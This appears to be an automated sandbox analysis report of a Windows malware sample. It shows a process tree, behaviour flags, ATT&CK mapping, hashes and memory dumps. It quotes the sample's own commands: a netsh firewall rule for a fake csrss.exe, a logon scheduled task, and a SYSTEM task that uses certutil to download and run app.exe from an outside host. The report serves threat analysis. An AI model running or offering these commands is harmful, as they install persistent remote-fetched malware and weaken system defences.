PID 596 wrote to memory of 1856	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe
PID 596 wrote to memory of 1856	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
"C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
"C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:884

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
PID:1856

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1732

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1716

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129172225.log C:\Windows\Logs\CBS\CbsPersist_20230129172225.cab
1⤵
- Drops file in Windows directory
PID:1932

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Disabling Security Tools

2

T1089

Modify Registry

3

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Windows\rss\csrss.exe
Filesize
4.0MB

MD5
e006b2b08833a38314bad962b8e549eb

SHA1
289e9b527460258ce38402604b82ab1784b93229

SHA256
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

SHA512
2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03

Download Submit
\Windows\rss\csrss.exe
Filesize
4.0MB

MD5
e006b2b08833a38314bad962b8e549eb

SHA1
289e9b527460258ce38402604b82ab1784b93229

SHA256
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

SHA512
2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03

Download Submit
\Windows\rss\csrss.exe
Filesize
4.0MB

MD5
e006b2b08833a38314bad962b8e549eb

SHA1
289e9b527460258ce38402604b82ab1784b93229

SHA256
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

SHA512
2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03

Download Submit
memory/596-61-0x0000000004870000-0x0000000004C17000-memory.dmp

Filesize
3.7MB

Download
memory/596-70-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/596-62-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/596-60-0x0000000004870000-0x0000000004C17000-memory.dmp

Filesize
3.7MB

Download
memory/884-64-0x0000000000000000-mapping.dmp

Download
memory/884-65-0x000007FEFC0B1000-0x000007FEFC0B3000-memory.dmp

Filesize
8KB

Download
memory/1068-63-0x0000000000000000-mapping.dmp

Download
memory/1856-71-0x00000000048B0000-0x0000000004C57000-memory.dmp

Filesize
3.7MB

Download
memory/1856-68-0x0000000000000000-mapping.dmp

Download
memory/1856-72-0x00000000048B0000-0x0000000004C57000-memory.dmp

Filesize
3.7MB

Download
memory/1856-73-0x0000000004C60000-0x0000000005356000-memory.dmp

Filesize
7.0MB

Download
memory/1856-74-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/1856-75-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/1924-54-0x0000000004840000-0x0000000004BE7000-memory.dmp

Filesize
3.7MB

Download
memory/1924-58-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/1924-57-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/1924-56-0x0000000004BF0000-0x00000000052E6000-memory.dmp

Filesize
7.0MB

Download
memory/1924-55-0x0000000004840000-0x0000000004BE7000-memory.dmp

Filesize
3.7MB

Download
memory/1924-59-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads